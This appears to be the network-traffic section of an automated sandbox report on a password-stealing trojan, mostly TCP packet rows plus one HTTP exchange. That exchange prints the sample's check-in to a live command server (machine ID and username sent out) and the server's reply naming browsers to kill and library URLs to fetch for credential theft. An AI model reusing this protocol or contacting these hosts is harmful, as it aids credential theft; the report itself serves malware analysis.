Aug 13, 2024 10:21:16.925677061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925688982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925715923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925728083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925738096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925750017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925798893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925884008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925898075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925909042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925920010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925920010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925920010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925935984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925949097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925966978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926007986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926112890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926155090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926167011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926182985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926198959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926208019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926222086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926242113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926430941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926444054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926454067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926469088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926475048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926501036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926526070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926786900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926805973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926815987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926832914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926845074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926870108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926944017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926980019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.926989079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.926999092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927022934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927037954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927113056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927124023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927134037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927145958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927150011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927180052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927361012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927372932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927383900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927395105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927406073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927406073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927418947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927424908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927431107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927443027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927489042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927740097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927751064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927761078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927772045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927783966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.927886963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927886963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927886963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.927886963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013391018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013444901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013497114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013498068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013510942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013544083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013575077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013642073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013653040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013659954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013669968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013700962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013726950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013838053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013849974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013861895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.013885975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.013911009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014066935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014080048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014091015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014102936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014106035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014108896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014120102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014132023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014132977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014142990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014153004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014178991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014666080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014682055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014693022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014703989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014714003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014723063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014725924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014745951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014756918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014770985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014774084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014785051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014791965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014797926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014812946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014820099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014831066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014842987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014852047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014853954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014867067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014877081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014879942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.014904976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.014918089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.015317917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.015366077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.596425056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.596457958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:17.602442026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.602457047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.602464914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.806936979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:17.807068110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:18.273808002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:18.273844004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:18.278970003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:18.278985023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:18.613873005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:18.613940954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:20.839278936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:20.839328051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:20.844373941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844383955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844391108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844435930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:20.844458103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:20.844706059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844716072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844722986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844731092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844739914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844743013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.844750881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.852634907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.853214979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.853317022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.853326082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.855129957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.855139017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:20.855148077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.140971899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.141074896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.473237038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.473237038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.473292112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.478390932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478408098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478416920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478480101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478621960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478632927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478725910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478781939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478791952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478879929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478889942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478899002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.478993893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.479003906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.479012966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.479207993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.479217052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.713131905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.714464903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.913453102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.913453102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:21.918411970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918524027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918551922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918679953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918708086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918827057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918863058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.918889046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.919688940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:21.919698000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.135627985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.135724068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.313966990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.314089060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.319298029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.319371939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.319782972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.319869041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.319869041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.319917917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.320023060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320067883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.320107937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320171118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320204973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.320522070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320530891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320580006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.320956945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320965052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320972919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320980072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320983887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.320991993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321000099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321002960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321008921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.321010113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321013927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321021080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321027994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321034908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321037054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.321042061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321049929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321057081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321063995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321068048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321074963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321080923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321089029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321095943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321099043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321116924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321125031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321130991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321137905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.321145058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324476957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324547052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324637890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324666023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324719906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324747086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324773073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324799061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324860096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324887037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324912071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324937105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.324992895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325037003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325048923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325057030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325063944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325071096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325073957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325083017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325664043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325700998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325778961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325962067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.325989008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326031923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326344013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326351881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326360941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326474905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326483965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326487064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326489925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326733112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.326740980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.669295073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:22.669358969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:22.703149080 CEST	49713	80	192.168.2.6	185.196.9.251
Aug 13, 2024 10:21:22.708142996 CEST	80	49713	185.196.9.251	192.168.2.6
Aug 13, 2024 10:21:22.708223104 CEST	49713	80	192.168.2.6	185.196.9.251
Aug 13, 2024 10:21:22.708364964 CEST	49713	80	192.168.2.6	185.196.9.251
Aug 13, 2024 10:21:22.713501930 CEST	80	49713	185.196.9.251	192.168.2.6
Aug 13, 2024 10:21:44.068047047 CEST	80	49713	185.196.9.251	192.168.2.6
Aug 13, 2024 10:21:44.068217993 CEST	49713	80	192.168.2.6	185.196.9.251
Aug 13, 2024 10:21:44.068885088 CEST	49713	80	192.168.2.6	185.196.9.251
Aug 13, 2024 10:21:44.074043036 CEST	80	49713	185.196.9.251	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2024 10:21:29.542124033 CEST	53	58261	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

193.142.147.59

185.196.9.251

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.142.147.59	80	5720	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 10:21:10.621947050 CEST	303	OUT	POST / HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 97 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 7c 65 6e 67 69 6e 65 65 72 26 63 6f 6e 66 69 67 49 64 3d 66 61 37 32 66 34 63 31 66 62 65 36 35 63 65 65 38 36 35 31 31 34 30 66 64 34 37 32 36 37 62 61 Data Ascii: machineId=9e146be9-c76a-4720-bcdb-53011b87bd06\|user&configId=fa72f4c1fbe65cee8651140fd47267ba
Aug 13, 2024 10:21:11.287050009 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7856 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"1eb0-8gSg1SUapVjFn3VXtv2kTldMHYQ" Data Raw: 6b 6c 6c 70 72 63 73 73 5f 31 7c 43 68 72 6f 6d 65 2e 65 78 65 3b 62 72 6f 77 73 65 72 2e 65 78 65 3b 6d 73 65 64 67 65 2e 65 78 65 3b 63 68 72 6f 6d 65 2e 65 78 65 3b 76 69 76 61 6c 64 69 2e 65 78 65 3b 62 72 61 76 65 2e 65 78 65 3b 6f 70 65 72 61 2e 65 78 65 0a 6c 69 62 73 5f 6e 73 73 33 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 31 34 32 2e 31 34 37 2e 35 39 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6e 73 73 33 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 73 76 63 70 31 34 30 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 31 34 32 2e 31 34 37 2e 35 39 Data Ascii: kllprcss_1\|Chrome.exe;browser.exe;msedge.exe;chrome.exe;vivaldi.exe;brave.exe;opera.exelibs_nss3:http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dlllibs_msvcp140:http://193.142.147.59
